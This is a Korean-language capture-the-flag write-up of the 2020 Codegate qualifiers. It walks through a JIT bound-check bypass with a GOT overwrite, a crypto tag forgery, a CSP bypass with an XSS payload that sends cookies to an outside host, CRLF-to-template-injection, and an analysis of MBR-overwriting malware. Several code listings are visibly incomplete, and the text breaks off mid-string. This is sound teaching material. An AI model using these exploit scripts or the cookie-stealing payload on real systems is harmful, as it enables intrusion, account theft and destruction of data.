 Uiseong Park zairo

# Write-up

## 2020 Codegate Quals

2020 Codegate Write-up
Team. NOAR (zairo, gpsfly, KuroNeko, BadSpell, wwwlk, onestar, kkamikoon)

## babyllvm (702pt)

### Analysis

해당 문제는 `brainfuck` 코드를 사용자로 부터 입력받아 `JIT engine`을 통해 컴파일하여 실행하는 문제입니다.

해당 문제의 핵심은 아래 `runtime.so``ptrBoundCheck` 함수 실행 우회하는 것 입니다. `ptrBoundCheck` 함수는 간단히 현재 포인터가 `start``bound` 포인터 사이에 위치하는지 확인하는 함수 입니다.

``````// ptrBoundCheck function in runtime.so

unsigned __int64 __fastcall ptrBoundCheck(unsigned __int64 start, unsigned __int64 bound, unsigned __int64 cur)
{
unsigned __int64 result; // rax

if ( cur < start || (result = cur, cur > bound) )
{
fprintf(stderr, "assert (0x%lx < 0x%lx < 0x%lx)!!\n", start, cur, bound);
exit(-1);
}
return result;
}
``````

`main.py` 에서 `ptrBoundCheck` 함수 호출부를 확인해보면 `is_safe` 함수를 통해 호출하는 것을 확인할 수 있습니다. 여기서 `is_safe` 함수의 리턴이 `True` 가 나올경우, `ptrBoundCheck` 를 실행되지 않고 우회할 수 있습니다. `is_safe` 함수를 살펴보면, `whitelist``(a1, a2)` 와 같이 튜플 형태이며, `a1 ≤ rel_pos ≤ a2` 조건을 만족할 경우 `True`를 반환하게 됩니다.

``````def is_safe(v, wl):
print("[is_safe] rel_pos: {}, whitelist: {}".format(v, wl))
if wl == None:
return False
a1, a2 = wl
return v >= a1 and v <= a2
``````

아래 `codegen` 함수 선언부에서 보이는 것과 같이 `whitelist` 인자는 기본적으로 `None` 으로 할당 되어 있습니다. 해당 인자를 컨트롤하기 위해 공격자는 아래 `br1b = self.br1.codegen(module, (0, 0))`, `br2b = self.br2.codegen(module, (0, 0))` 코드를 이용하여 `whitelist` 인자를 넣어 줄 수 있습니다. 또한, `self.isLinear``True` 일때, `rel_pos = 0` 코드를 유의해서 보아야합니다. 이후 `is_safe` 함수를 통해 `a1 ≤ rel_pos ≤ a2 (0 ≤ 0 ≤ 0)` 조건을 만족하여 `True`를 반환 할 수 있습니다.

``````def codegen(self, module, whitelist=None):
main_routine = findFunctionByName(module, "main_routine")

if (self.isLinear == True):
print("[codegen] isLinear == True")
block = main_routine.append_basic_block()
builder = llvmIR.IRBuilder()
builder.position_at_end(block)

dptr_ptr = findGlobvarByName(module, "data_ptr")
sptr_ptr = findGlobvarByName(module, "start_ptr")
ptrBoundCheck = findFunctionByName(module, "ptrBoundCheck")
print_char = findFunctionByName(module, "print_char")
rel_pos = 0 # <-
...

else:
print("[codegen] isLinear == False")
# create all blocks
br1b = self.br1.codegen(module, (0, 0)) # <-
br2b = self.br2.codegen(module, (0, 0)) # <-
...
``````

위와 같은 결과들을 토대로, OOB 를 할 수 있는 payload 를 작성해보면 `ex) +[-]<<<<[,.>>>>].` 와 같습니다.

해당 payload를 도식화 하면 아래와 같습니다. 실행결과 `ptrBoundCheck` 가 실행되지 않고, 현재 포인터의 `-4 offset`에 위치한 값을 덮어쓰고 읽은 것을 확인할 수 있습니다.

``````[phase 1]
branch_1:   +
branch_2:   -
branch_3:   <<<<[,.>>>>].

[phase 2]
branch_1:   +
branch_2:   -
branch_3:   branch_3_1: <<<<
branch_3_2: ,.>>>>
branch_3_3: .
`````` 필자는 -75~-81 offset에 위치한 `exit@got` 를 leak 해서 Libc_base 주소를 구하고, `exit@got` 를 one_gadget 으로 덮어 쉘을 획득하였습니다.

``````from pwn import *
import sys

HOST, PORT = '58.229.240.181', '7777'
# HOST, PORT = 'localhost', '7777'

def debug():
context.log_level = "debug"

conn = remote(HOST, PORT)
sla = conn.sendlineafter
ru = conn.recvuntil
io = conn.interactive
cl = conn.close

if len(sys.argv) > 1:
context.terminal = ['tmux', 'new-window']
gdb.attach(proc.pidof(conn), \
'''
codebase
''')

pay = ''.join(['+[-]{}[.{}]'.format('<'*i,'>'*i) for i in range(75, 81)])
sla(">>> ", pay)
LEAK = int(conn.recv(6).encode('hex'),16)
# LIBC = LEAK+0x6b1980a # local
LIBC = LEAK+0x697480a # remote
ONE = LIBC+0x10a38c
log.info("LEAK @ {}".format(hex(LEAK)))
log.info("LIBC @ {}".format(hex(LIBC)))
log.info("ONE @ {}".format(hex(ONE)))

pay = ''.join(['+[-]{}[,{}]'.format('<'*i,'>'*i) for i in range(80, 76, -1)])
sla(">>> ", pay)
sleep(0.2)
conn.sendline(p64(ONE)[:4])
sla(">>> ", "<.")

io()
cl()
``````

CODEGATE2020{next_time_i_should_make_a_backend_for_bf_as_well}

## ENIGMA (49pt)

### Analysis

에니그마 암호문인데 각 문자를 치환암호라고 생각하고 풀면 됩니다.

``````DON'T LET YOUR RIGHT HAND KNOW WHAT YOUR LEFT HAND DID
5+,'( "2( )+-3 r-/:( :*,5 ',+1 1:*( )+3 "26( :*,5 5-d

ONCE A HACKER IS AN ETERNAL HACKER
+,92 * :*9'23 -4 *, 2(23,*" :*9'23

A HACKER WITHOUT PHILOSOPHY IS JUST AN EVIL COMPUTER GENIUS
* :*9'23 1-(:+-( @:-"+4+@:) -4 ;_4( *, 2?-" 9+.@_(23 /2,-_4

flag is :
9+52/*(22020{:*9'234 *32 ,+( !+3, +,") -( -4 .*52}
``````

`CODEGATE2020{HACKERS ARE NOT !ORN ONLY IT IS MADE}`가 나오는데 `!ORN`을 적당히 추측해서 풀면 됩니다.

CODEGATE2020{HACKERS ARE NOT BORN ONLY IT IS MADE}

## Halffeed (670pt)

### Analysis

`cat flag`라는 명령을 입력하면 플래그를 주지만 필터링 되어 있습니다. 암호 자체는 간단한 xor인데 암호문의 결과에 따라 태그를 AES ECB암호화 하여 확인하고 있습니다.

`encrypt``decrypt`를 보면 K의 라운드 마다 T에 상관없이 항상 동일한 것을 알 수 있습니다.

``````T, K = aes_encrypt(Kn, nonce)

ciphertext = b''
for i in range(0, len(plaintext), 16):
T, block = self.feed_plus(T, plaintext[i:i+16])
ciphertext += block
T, K = aes_encrypt(K, T)

T = bytes(b1 ^ b2 for b1, b2 in zip(T, delta))
T, _ = aes_encrypt(K, T)
``````

따라서 같은 라운드에서 T의 값만 맞춰주면 같은 태그를 구할 수 있습니다. 이걸 이용하여 `cat fla`까지 첫 번째 블록을 암호화 한 뒤, 뒤의 `g;`만 브포하여 구하면 됩니다.

``````#!/usr/bin/python3
from pwn import *

context.log_level='debug'

assert isinstance(data, bytes)
assert len(data) <= 16

if len(data) != 16:
data += b'\x01' + b'\x00' * (15 - len(data))
return data

def feed_plus_inv(tag, target):
pre = bytes([tag[x] ^ target[x] for x in range(8)])
post = bytes([target[x] for x in range(8, 0x10)])

return pre + post

def feed_plus(tag, data):
enc_data = bytes(b1 ^ b2 for b1, b2 in zip(tag, data))
tag = bytes(b1 ^ b2 for b1, b2 in zip(tag, feed_data))

return tag, enc_data

def execute(nonce, cipher, tag):
p.recvuntil("> ")
p.sendline("3")
p.sendlineafter("nonce = ", nonce)
p.sendlineafter("ciphertext = ", cipher)
p.sendlineafter("tag = ", tag)
p.interactive()

T = b'0012873ff3cf4ba6d2a8f2d95fd79635'
T = bytes.fromhex(T.decode())
m = b'6729ed30e942376d0000000000000000'
m = bytes.fromhex(m.decode())
Tn = feed_plus_inv(T, m)
T_tag, Data = feed_plus(T, Tn)
Data = Data.hex()

nonce = b'00000000000000000000000000000006'
tag = b'8b68020495c716e893dedcb71cd53983'

p = remote("110.10.147.44", 7777)
``````

CODEGATE2020{F33D1NG_0N1Y_H4LF_BL0CK_W1TH_BL0CK_C1PH3R}

## CSP (702pt)

### Analysis

``````<?php
require_once 'config.php';

if(!isset(\$_GET["q"]) || !isset(\$_GET["sig"])) {
die("?");
}

\$api_string = base64_decode(\$_GET["q"]);
\$sig = \$_GET["sig"];

if(md5(\$salt.\$api_string) !== \$sig){
die("??");
}

//APIs Format : name(b64),p1(b64),p2(b64)|name(b64),p1(b64),p2(b64) ...
\$apis = explode("|", \$api_string);
foreach(\$apis as \$s) {
\$info = explode(",", \$s);
if(count(\$info) != 3)
continue;
\$n = base64_decode(\$info);
\$p1 = base64_decode(\$info);
\$p2 = base64_decode(\$info);

if(strlen(\$p1) > 10)
continue;
if(strpos(\$p1.\$p2, ":") !== false || strpos(\$p1.\$p2, "-") !== false) //Don't trick...
continue;
}
}
elseif (\$n === "body") {
if(preg_match("/<.*>/", \$p1))
continue;
echo \$p1;
echo "\n<br />\n";
}
elseif (\$n === "hello") {
echo "Hello, World!\n";
}
}
``````

해당 문제는 api.php의 소스코드를 제공합니다. api를 사용하여 php의 `header`, `setcookie`, `echo` 함수를 호출할 수 있습니다. 또한, 페이지에서 전송되는 `CSP` 헤더 확인 결과 `default-src``self`로 허용하고 있고, `script-src`, `base-uri``none`으로 설정되어 전혀 허용하고 있지 않는 것을 확인할 수 있습니다. 따라서 해당 페이지에서 `XSS` 등을 이용한 스크립트 실행이 불가능하며 `iframe`이나 `object` 태그 등으로 해당 페이지 내부에 존재하는 페이지만 로드할 수 있습니다.

하지만, 400이나 500과 같은 에러를 유발한다면, 해당 페이지에서는 `CSP` 헤더가 설정되지 않으므로 에러 페이지를 이용하여 임의 스크립트를 실행할 수 있습니다. php의 `header` 함수 확인 결과, 위와 같이 고의적으로 에러를 발생시킬 수 있음을 확인하였습니다. api.php에서는 `header`를 호출할 수 있는 기능을 제공하므로 `header`를 이용하여 에러 코드를 발생시키고, `echo` 호출을 이용하여 `script`를 삽입한다면 `CSP` 헤더가 설정되어 있지 않은 상태에서 실행되므로 임의의 `script`를 실행할 수 있습니다.

따라서 api를 연속적으로 실행하여야 하는데, api.php에서 `\$salt`를 알 수 없으므로, `\$sig`를 맞춰서 우회하여야 합니다. 해당 부분은 `Length extension attack`을 이용하여 우회할 수 있습니다. 따라서 api를 연속하여 호출할 수 있으며 `header``body`를 연속으로 호출하여 `script`를 실행할 수 있습니다.

``````from base64 import *
import hashpumpy
import requests, re

def find_str(f, l, data):
return re.findall(re.escape(f) + '(.*?)' + re.escape(l), data)

def b64e(data):
return b64encode(data)

def make_api_string(apis):
api_strings = []
for api, p1, p2 in apis:
api_string = "{api},{p1},{p2}".format(api=b64e(api),\
p1=b64e(p1),
p2=b64e(p2))
api_strings.append(api_string)
return '|'.join(api_strings)

s = requests.session()
params = {
"name": "",
"p1": "",
"p2": ""
}

params["name"] = "A"
r = s.get("http://110.10.147.166/view.php", params=params)
sig = find_str("sig=", "&", r.text)
q = b64decode(find_str("&q=", '"', r.text))

xss = "var a = new Image(); a.src='//home.zairo.kr:1234/'+btoa(document.cookie);"
apis = [
('body', '<script a="', ''),
('body', '">/*', ''),
('body', '*/{}/*'.format(xss), ''),
('body', '*/</script a="', ''),
('body', '">', ''),
]

i = 0
while True:
i += 1
_sig, _q = hashpumpy.hashpump(sig, q, "|{}".format(payload), i)
params2 = {
"sig": _sig,
"q": b64encode(_q)
}
# print(sig, q, params["name"])
r = s.get("http://110.10.147.166/api.php", params=params2)
data = r.text
if data.find("??") == -1:
print(data)
break

url = "http://110.10.147.166/api.php?sig={}&q={}".format(_sig, b64encode(_q))
print(url)
``````

따라서 링크를 생성하고 이를 운영자에게 report 한 후 운영자의 cookie를 탈취할 수 있습니다.  CODEGATE2020{CSP_m34n5_Content-Success-Policy_n0t_Security}

## renderer (750pt)

### Analysis 페이지를 확인한 결과 사용자로부터 URL을 입력받고 이를 `urllib2.urlopen` 함수를 이용해서 실행한 결과를 출력해주는 페이지임을 알 수 있습니다.

Python 2.x ~ 2.7.16 버전의 경우, [CVE-2019-9740] Python urllib CRLF injection vulnerability 취약점이 발견되었으며 이를 이용하면 `HTTP`에 임의의 `Header`를 추가 할 수 있고 더 나아가서 `HTTP Request Splitting` 취약점을 이용해 온전한 `HTTP Request` 패킷을 전송할 수 있습니다. `payload = 'http://home.zairo.kr:1234/ HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\nGET /xxx '`와 같이 URL을 전송하게 되면 위와 같이 `HTTP Request Splitting` 취약점이 발생함을 확인할 수 있습니다.

기능상의 취약점은 위와 같고 문제 설명에서 `flask project with nginx`라고 설명하였으니 `NGINX`에서 발생하는 취약점을 찾아 보아야 합니다.

`NGINX`에서 발생할 수 있는 대표 취약점은 잘못된 `alias` 설정으로 인해 발생하는 `Path traversal` 취약점이 존재합니다.

``````location /i/ {
alias /data/w3/images/;
}
``````

정상적인 `alias` 설정의 경우 위와 같이 설정하여야 하지만 아래와 같이 `location`의 뒷부분에 `directory separator (i.e. /)`가 누락되어 설정될 경우, 해당 디렉토리의 상위로 접근할 수 있는 `Path traversal` 취약점이 발생하게 됩니다.

``````location /i {
alias /data/w3/images/;
}
``````

해당 취약점에 대한 자세한 내용은 https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/에 설명되어 있습니다.

문제에서 주어진 파일은 `Dockerfile``run.sh`만 주어져 있습니다. `/home/src/uwsgi.ini` 설정파일을 확인하기 위해 경로이므로 해당 파일을 찾기 위해 http://110.10.147.169/static../src/uwsgi.ini에 접근하여 파일을 다운로드 받습니다. uwsgi.ini 확인 결과, 실행 파일의 경로를 알아낼 수 있었습니다. `chdir`, `module` 설정에 따라 실행경로가 `/home/src/run.py` 임을 알 수 있고, http://110.10.147.169/static../src/run.py 로 접근하여 다운로드 하였습니다. `from app import *`로 되어있는 것으로 보아 `/home/src/app/__init__.py`파일이 존재하는 것을 알 수 있습니다. http://110.10.147.169/static../src/app/__init__.py 로 접근하여 다운로드 하였습니다. 소스코드 상단에 `from app import routes`를 보아 `/home/src/app/routes.py` 가 존재하는 것을 알 수 있습니다. 또한 `app.config["FLAG"]`에 FLAG가 셋팅된 것을 확인할 수 있습니다. http://110.10.147.169/static../src/app/routes.py 로 접근하여 다운로드 하였습니다.

``````from flask import Flask, render_template, render_template_string, request, redirect, abort, Blueprint
import urllib2
import time
import hashlib

from os import path
from urlparse import urlparse

front = Blueprint("renderer", __name__)

@front.before_request
def test():
print(request.url)

@front.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")

url = request.form.get("url")
res = proxy_read(url) if url else False
if not res:
abort(400)

return render_template("index.html", data = res)

@front.route("/whatismyip", methods=["GET"])
def ipcheck():
return render_template("ip.html", ip = get_ip(), real_ip = get_real_ip())

ip = get_ip()
rip = get_real_ip()

if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
abort(403)

if ip != rip: #if use proxy
ticket = write_log(rip)

else:
if ip == "127.0.0.2" and request.args.get("body"):
ticket = write_extend_log(rip, request.args.get("body"))
else:

ip = get_ip()
rip = get_real_ip()

if ip != rip: #proxy doesn't allow to show ticket
print 1
abort(403)
if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
print 2
abort(403)
abort(403)

if request.args.get("ticket"):
if not log:
print 4
abort(403)
return render_template_string(log)

def get_ip():

def get_real_ip():

#TODO : implement logging

s = urlparse(url).scheme
if s not in ["http", "https"]: #sjgdmfRk akfRk
return ""

def write_log(rip):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
log_str = "Admin page accessed from %s" % rip
f.write(log_str)

return tid

def write_extend_log(rip, body):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
f.write(body)

return tid

if not (ticket and ticket.isalnum()):
return False

if path.exists("/home/tickets/%s" % ticket):
with open("/home/tickets/%s" % ticket, "r") as f:
else:
return False
`````` 취약점이 발생하는 부분은 `render_template_string` 입니다. 해당 `log` 변수의 값에 `Jinja` 코드를 삽입한다면 `Template Injection` 취약점이 발생하게 됩니다. 이를 이용하여 `app.config["FLAG"]`를 출력하여 FLAG를 획득 할 수 있습니다. 이제 log에 값을 넣을 수 있는 부분을 살펴보아야 합니다.   routes.py를 다운로드 하여 분석하면 사실 `if ip == "127.0.0.2" and request.args.get("body"):` 부분으로 눈이가게 되어있는데 사실 `FAKE` 입니다. 해당 부분은 ip 필터링을 통과할 수 없습니다.

따라서 저희가 노려야 할 부분은 `rip` 변수에 들어가는 값 입니다. `rip` 변수에는 `get_real_ip` 함수에서 `X-Forwarded-For` 헤더를 통해 입력 받습니다. 저희는 `Header Injeciton` 취약점을 가지고 있고 `X-Forwarded-For` 헤더를 자유롭게 컨트롤 할 수 있으므로 해당값에 `Jinja` 코드를 삽입하여 `tickets`을 생성한 후에 위의 `render_template_string`를 통해 `Template Injection` 취약점을 발생시킬 수 있습니다.

아래의 코드는 해당 취약점을 이용하여 FLAG를 획득하는 코드 입니다.

``````from collections import OrderedDict
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning

requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# variable initialization
url = ""
params = {}
data = {}

# URL setting
scheme = 'http'
url = '{}://58.229.253.144/renderer/'.format(scheme)

headers['User-Agent'] = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36'

# params setting
params = OrderedDict()

# data setting
data = OrderedDict()

# send packet
return (r.status_code, r.text)

if __name__ == "__main__":
# requests initialization
s = requests.Session()

# let's exploit!
template_injection = "{{config.FLAG}}"

temp = res[res.find('Your access log is written with ticket no ')+len('Your access log is written with ticket no '):]
ticket = temp[:temp.find('\n')].strip()
print(ticket)

# send ticket
print(res)
`````` CODEGATE2020{CrLfMakesLocalGreatAgain}

## malicious (702pt)

### Description

• I bring very malicious virus sample from future! Can you rev this virus?
• flag format is CODEGATE2020{[printed string by given program]}
• [Warning]
• Program may harmful to your system!
• Use static analysis only or carefully handled dynamic analysis with virtual machine.
• ZIP FILE PASSWORD : 1717117
• 해당 파일은 위험하므로 제거 하였습니다. 필요시 이메일로 요청해주시면 전송해드리겠습니다.

### Analysis 대략적으로 오디팅을 했을 때의 `main` 함수입니다. 위의 함수에서는 일정한 랜덤값을 가져와서 4바이트 값을 만들어 현재 시간과 비교하는 함수가 존재하고, 서버로부터 `HTTP request`를 보냈을 때 `response` 값을 비교하여 반복문을 수행합니다.  `result_hash`의 값을 구글링하여 검색해본 결과, `activate`가 md5된 결과였습니다. 그러므로 `activate`를 동적 디버깅으로 `server_result`에 값을 변경한 이후, `mbr_write` 함수 실행하게 되면 정상적으로 동작되게 됩니다. `mbr_write` 함수에서는 아래와 같이 `camellia cipher`를 사용해서 encrypt된 코드를 decrypt를 해준 이후, 실행해주게 됩니다. `loc_403cc1` 함수를 decrypt한 결과는 다음과 같습니다.

``````.text:00403CC1 push    ebp
.text:00403CC2 mov     ebp, esp
.text:00403CC4 sub     esp, 158h
.text:00403CCA lea     eax, [ebp-130h]
.text:00403CD0 mov     [esp+8], eax
.text:00403CD4 mov     dword ptr [esp+4], 80h
.text:00403CDC mov     dword ptr [esp], offset unk_40A440
.text:00403CE3 call    camellia_setup
.text:00403CE8 mov     dword ptr [ebp-0Ch], 0
.text:00403CEF jmp     short loc_403D1D
.text:00403CF1 ; ---------------------------------------------------------------------------
.text:00403CF1
.text:00403CF1 loc_403CF1:                             ; CODE XREF: .text:00403D24↓j
.text:00403CF1 mov     eax, [ebp-0Ch]
.text:00403CF4 lea     ecx, encrypted_mbr[eax]
.text:00403CFA mov     eax, [ebp-0Ch]
.text:00403CFD lea     edx, encrypted_mbr[eax]
.text:00403D03 lea     eax, [ebp-130h]
.text:00403D09 mov     [esp+8], eax
.text:00403D0D mov     [esp+4], ecx
.text:00403D11 mov     [esp], edx
.text:00403D14
.text:00403D14 loc_403D14:
.text:00403D14 call    camellia_decrypt
.text:00403D19 add     dword ptr [ebp-0Ch], 10h
.text:00403D1D
.text:00403D1D loc_403D1D:                             ; CODE XREF: .text:00403CEF↑j
.text:00403D1D cmp     dword ptr [ebp-0Ch], 43FFh
.text:00403D24 jle     short loc_403CF1
.text:00403D26 mov     dword ptr [esp+18h], 0
.text:00403D2E mov     dword ptr [esp+14h], 0
.text:00403D36 mov     dword ptr [esp+10h], 3
.text:00403D3E mov     dword ptr [esp+0Ch], 0
.text:00403D46 mov     dword ptr [esp+8], 3
.text:00403D4E mov     dword ptr [esp+4], 10000000h
.text:00403D56 mov     dword ptr [esp], offset aPhysicaldrive1 ; "\\\\.\\PhysicalDrive10000"
.text:00403D5D mov     eax, ds:CreateFileA
.text:00403D62 call    eax ; CreateFileA
.text:00403D64 sub     esp, 1Ch
.text:00403D67 mov     [ebp-10h], eax
.text:00403D6A cmp     dword ptr [ebp-10h], 0FFFFFFFFh
.text:00403D6E jnz     short loc_403D72
.text:00403D70 jmp     short locret_403DAF
.text:00403D72 ; ---------------------------------------------------------------------------
.text:00403D72
.text:00403D72 loc_403D72:                             ; CODE XREF: .text:00403D6E↑j
.text:00403D72 mov     dword ptr [esp+10h], 0
.text:00403D7A lea     eax, [ebp-14h]
.text:00403D7D mov     [esp+0Ch], eax
.text:00403D81 mov     dword ptr [esp+8], 4400h
.text:00403D89 mov     dword ptr [esp+4], offset encrypted_mbr
.text:00403D91 mov     eax, [ebp-10h]
.text:00403D94 mov     [esp], eax
.text:00403D97 mov     eax, ds:WriteFile
.text:00403D9C call    eax ; WriteFile
.text:00403D9E sub     esp, 14h
.text:00403DA1 mov     dword ptr [esp], offset aShutdownRT00 ; "shutdown -r -t 00"
.text:00403DA8 call    system
.text:00403DAE nop
.text:00403DAF
.text:00403DAF locret_403DAF:                          ; CODE XREF: .text:00403D70↑j
.text:00403DAF leave
.text:00403DB0 retn
``````

encrypt된 `mbr``camellia_decrypt` 후, `physical drive`에 작성하여 `mbr`를 수정하는 모습을 볼 수 있었습니다. decrypt 이후의 `mbr`만 추출하여 `vmware`에서 `hxd`를 이용해 `mbr`을 수정한 다음, 재부팅을 하게 되면 다음과 같이 `Not a chance` 가 출력되며 대기하고 있습니다. `mbr`을 분석하기 위해서 아래와 같이 셋팅을 해줍니다.

``````VMware .vmx file
debugStub.listen.guest32 = "TRUE"
debugStub.hideBreakpoints = "TRUE"
monitor.debugOnStartGuest32 = "TRUE"

IDA
Debugger > Attach > Remote GDB Debugger
Host = localhost
Port = 8832

Debugging 중, Ctrl+1 -> Segment 설정 -> Edit segment -> 32bit를 16bit로 변경
``````

이후, `Not a chance`를 출력 후 무한 루프를 도는 곳을 찾고 해당 명령어 다음에 `sector`를 읽고 무언가 출력해주는 부분을 볼 수 있었습니다. 그러므로 해당 부분을 파이썬으로 포팅하게 되면 다음과 같습니다. ``````a = "\x4A\x57\x5E\x75\x38\x66\x3B\x79\x3A\x60\x75\x61\x26\x38\x68\x5E\x28\x68\x6C\x6C\x72\x76\x71\x7E\x55\x47\x38\x42\x7A\x4A\x6B\x4D\x4D\x65\x37\x79\x45\x62\x2E\x70\x4C\x63\x38\x74\x79\x3D\x3D\x36\x50\x62\x5F\x77\x66\x55\x6E\x33\x79\x6C\x56\x29\x41\x36\x75\x65\x6A\x2E\x4F\x68\x54\x5B\x5F\x47\x6C\x76\x64\x6E\x47\x60\x47\x69\x71\x74\x4A\x66\x63\x78\x3C\x66\x5F\x5C\x3B\x7A\x55\x4B\x75\x2D\x60\x3E\x25\x3A\x2A\x27\x2B\x7A\x5D\x39\x48\x28\x65\x62\x5A\x44\x4B\x6B\x60\x37\x3B\x6F\x69\x3B\x6B\x74\x77\x7C\x44\x4B\x49\x77\x31\x50\x52\x39\x63\x3E\x50\x3F\x4C\x61\x46\x5E\x71\x7E\x55\x41\x2C\x63\x5E\x43\x31\x37\x24\x4B\x5F\x42\x39\x2A\x48\x32\x47\x28\x5B\x6A\x3D\x72\x79\x64\x29\x25\x4B\x4C\x6A\x49\x65\x4A\x23\x4C\x74\x63\x54\x32\x60\x41\x6B\x39\x47\x4F\x69\x48\x6B\x31\x72\x5E\x22\x29\x4E\x3A\x5F\x23\x5E\x36\x72\x37\x25\x46\x25\x62\x4D\x73\x32\x62\x3C\x78\x70\x28\x6A\x44\x7B\x40\x7D\x5C\x68\x50\x64\x64\x39\x58\x79\x73\x57\x32\x39\x58\x6B\x5E\x3B\x79\x22\x66\x67\x47\x33\x4B\x3B\x23\x23\x2A\x46\x49\x61\x64\x26\x35\x2C\x27\x39\x50\x62\x3A\x7A\x54\x7E\x63\x4D\x69\x3F\x51\x43\x65\x51\x2B\x4B\x7B\x76\x5B\x30\x42\x4A\x38\x54\x43\x73\x6F\x76\x38\x5E\x3F\x21\x2F\x7B\x24\x4B\x36\x52\x46\x78\x70\x32\x38\x35\x7C\x4E\x7E\x5D\x22\x79\x40\x26\x71\x6D\x78\x23\x57\x7B\x48\x5D\x23\x79\x72\x38\x56\x24\x27\x74\x54\x31\x6F\x73\x51\x3D\x24\x5E\x4A\x4C\x7B\x26\x57\x36\x6B\x6A\x2B\x4B\x67\x33\x72\x5D\x72\x6A\x78\x23\x29\x5F\x51\x39\x6A\x5D\x54\x4A\x54\x4A\x5D\x27\x38\x32\x5D\x79\x2D\x5B\x5D\x48\x48\x23\x21\x53\x4B\x60\x6C\x21\x72\x42\x77\x54\x60\x3C\x4B\x5A\x7E\x4B\x5D\x22\x34\x48\x5C\x4A\x65\x52\x43\x60\x26\x7A\x45\x51\x61\x35\x3A\x7E\x7B\x6A\x63\x68\x53\x72\x3C\x38\x4B\x6C\x3C\x30\x71\x73\x60\x4F\x7D\x2B\x6B\x54\x2E\x76\x53\x25\x5C\x6E\x31\x2B\x37\x25\x65\x52\x21\x24\x67\x59\x3E\x53\x5B\x4A\x6B\x4D\x36\x30\x7B\x21\x21\x5D\x3C\x30\x66\x68\x53\x7E\x77\x33\x7B\x65\x3C\x6A\x62\x50\x53\x38\x55\x49\x48\x70\x6A\x52\x79\x29\x71\x34\x3B\x6C\x72\x38\x5B\x45\x7D\x70\x7B\x51\x3C\x7B\x65\x2C\x41\x71\x3C\x6D\x2C\x7E\x72\x61\x56\x65\x48\x55\x64\x64\x53\x37\x31\x67\x51\x57\x48\x5E\x37\x26\x4A\x52\x4D\x65\x25\x71\x35\x2C\x71\x69\x7E\x45\x70\x7A\x6D\x79\x76\x71\x4D\x79\x59\x51\x48\x69\x4E\x60\x57\x65\x2D\x2A\x78\x7C\x28\x70\x32\x70\x4A\x71\x60\x4A\x32\x22\x2C\x7C\x63\x6D\x43\x25\x74\x56\x57\x3E\x50\x3E\x42\x6F\x28\x3D\x7C\x56\x50\x3F\x33\x22\x5C\x42\x33\x3A\x57\x5F\x78\x6E\x4F\x2A\x51\x37\x3E\x67\x79\x5D\x4A\x5C\x46\x2E\x56\x7B\x40\x30\x60\x3C\x21\x26\x59\x4B\x75\x34\x56\x4A\x5C\x27\x32\x7E\x2B\x47\x6F\x50\x2B\x41\x4B\x7B\x3B\x65\x78\x69\x64\x58\x4E\x53\x69\x41\x5B\x44\x72\x62\x57\x62\x44\x44\x68\x5D\x3C\x29\x56\x5D\x26\x55\x39\x5B\x6A\x6C\x51\x67\x6A\x5B\x43\x3F\x4E\x30\x55\x47\x59\x65\x3C\x2F\x23\x76\x54\x72\x38\x48\x59\x22\x5E\x35\x7E\x65\x51\x4C\x7B\x70\x5C\x3A\x3F\x41\x73\x7A\x55\x52\x4F\x34\x6E\x6C\x27\x23\x32\x69\x21\x2E\x5B\x53\x29\x50\x67\x28\x6A\x61\x21\x2E\x4A\x51\x6C\x34\x6B\x41\x31\x6C\x38\x60\x59\x3C\x3C\x2E\x79\x2A\x7D\x7E\x60\x4C\x4F\x27\x42\x2C\x22\x31\x6A\x40\x28\x42\x52\x66\x3A\x62\x62\x57\x6C\x7B\x56\x41\x78\x38\x57\x25\x77\x47\x5F\x5C\x30\x41\x42\x5E\x30\x4A\x5E\x71\x3F\x60\x58\x4E\x38\x7B\x21\x3C\x78\x74\x55\x6D\x71\x37\x36\x22\x62\x7E\x6A\x76\x28\x4C\x25\x6A\x48\x4E\x4A\x37\x39\x2C\x5C\x25\x48\x62\x7E\x2E\x51\x2A\x49\x2F\x22\x78\x29\x2D\x47\x5E\x2A\x52\x2E\x5F\x7C\x4C\x7D\x6B\x23\x4A\x30\x7C\x31\x4E\x23\x59\x37\x28\x4F\x64\x6F\x66\x33\x34\x4E\x52\x2D\x35\x7E\x35\x67\x6C\x54\x22\x49\x47\x31\x5C\x62\x36\x57\x39\x48\x7B\x67\x6F\x6F\x5F\x4B\x58\x54\x38\x5F\x23\x57\x5F\x59\x58\x29\x2F\x38\x62\x5F\x5F\x3E\x79\x6B\x2B\x7B\x65\x3D\x5E\x5C\x44\x65\x50\x5D\x78\x73\x4D\x4B\x42\x5F\x39\x45\x5A\x5A\x6C\x2F\x59\x54\x65\x51\x5F\x40\x25\x49\x27\x32\x2F\x53\x76\x5F\x63\x50\x5A\x21\x56\x69\x27\x7B\x7E\x4C\x6D\x7B\x35\x4F\x6B\x75\x24\x53\x6C\x77\x46\x2E\x50\x77\x78\x71\x43\x47\x58\x5B\x41\x60\x38\x72\x72\x46\x78\x46\x47\x3E\x39\x58\x35\x35\x4C\x6F\x50\x4C\x4E\x69\x36\x42\x2D\x74\x57\x69\x27\x28\x6D\x7B\x58\x54\x38\x66\x6C\x49\x42\x70\x68\x37\x5A\x22\x7A\x3D\x5F\x7D\x7D\x5D\x77\x4C\x57\x5C\x43\x42\x5A\x7D\x73\x58\x39\x59\x6B\x38\x5A\x6C\x3C\x67\x76\x4A\x32\x6C\x24\x5A\x32\x61\x55\x62\x7B\x3A\x51\x6D\x28\x22\x4B\x6E\x7B\x3F\x3E\x7C\x3B\x79\x2C\x57\x68\x7D\x4E\x61\x70\x3C\x7C\x5B\x64\x50\x52\x44\x40\x67\x44\x29\x30\x3C\x39\x70\x39\x4E\x58\x45\x46\x51\x76\x4C\x4C\x3A\x58\x7A\x28\x69\x75\x33\x4D\x49\x68\x26\x72\x7B\x23\x60\x59\x45\x46\x68\x68\x78\x7C\x58\x75\x4F\x76\x6